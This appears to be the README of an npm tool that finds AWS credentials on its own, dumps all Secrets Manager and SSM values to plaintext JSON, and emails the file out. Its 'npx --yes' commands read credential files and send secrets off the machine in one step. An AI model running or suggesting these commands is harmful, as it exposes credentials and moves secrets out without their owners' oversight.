aws-secret-dump

Walk up to any machine, run one command, get your AWS secrets emailed to you.

Pulls from Secrets Manager and SSM Parameter Store, writes a secrets.json, and sends it to [email protected] via AWS SES — no SMTP config, no passwords, no file copying.

Usage

npx --yes aws-secret-dump

That's it. Credentials are discovered automatically (see below). Secrets land in your inbox.

One-time SES setup

Before the first run, verify your email as a SES sender (once per AWS account):

aws ses verify-email-identity \
  --email-address [email protected] \
  --region us-east-1

Click the link AWS sends you. Done — never needs to be done again on that account.

Credential discovery (fully automatic)

The tool tries each source in order and uses the first one it finds:

| Priority | Source | How to use | |----------|--------|------------| | 1 | .env file in current directory | Drop a .env next to where you run it | | 2 | AWS credentials .csv in current directory | Download from AWS console, drop it in cwd | | 3 | Shell environment variables | export AWS_ACCESS_KEY_ID=... | | 4 | AWS CLI profile | --profile myprofile or AWS_PROFILE=myprofile | | 5 | EC2/ECS IAM role | Nothing needed — automatic on AWS infra |

.env format

AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=...
AWS_DEFAULT_REGION=us-east-1
# AWS_SESSION_TOKEN=... (optional, for assumed roles)

CSV format

The raw download from AWS console → IAM → Users → Security credentials → Create access key. Just drop the file in the same folder and run.

Options

| Flag | Description | Default | |------|-------------|---------| | -r, --region | AWS region | us-east-1 | | -p, --profile | AWS CLI profile | (auto) | | -o, --output | Output JSON path | secrets.json | | --source | secrets, ssm, or both | both | | --prefix | Filter secrets by name prefix | (all) | | --path | SSM path prefix | / | | --no-email | Write file only, skip emailing | — | | --dry-run | Preview without writing or sending | — |

Examples

# Bare minimum — auto-discovers creds, emails results
npx --yes aws-secret-dump

# Different region
npx --yes aws-secret-dump --region eu-west-1

# Only Secrets Manager, filtered by prefix
npx --yes aws-secret-dump --source secrets --prefix myapp/prod

# Only SSM under a specific path
npx --yes aws-secret-dump --source ssm --path /myapp/prod

# Just write the file, don't email
npx --yes aws-secret-dump --no-email

# Preview what would be fetched
npx --yes aws-secret-dump --dry-run

⚠ Security

• secrets.json contains plaintext credentials — add it to .gitignore
• The SES email attachment is plaintext JSON — delete it from your inbox after use
• Prefer IAM roles over long-lived access keys wherever possible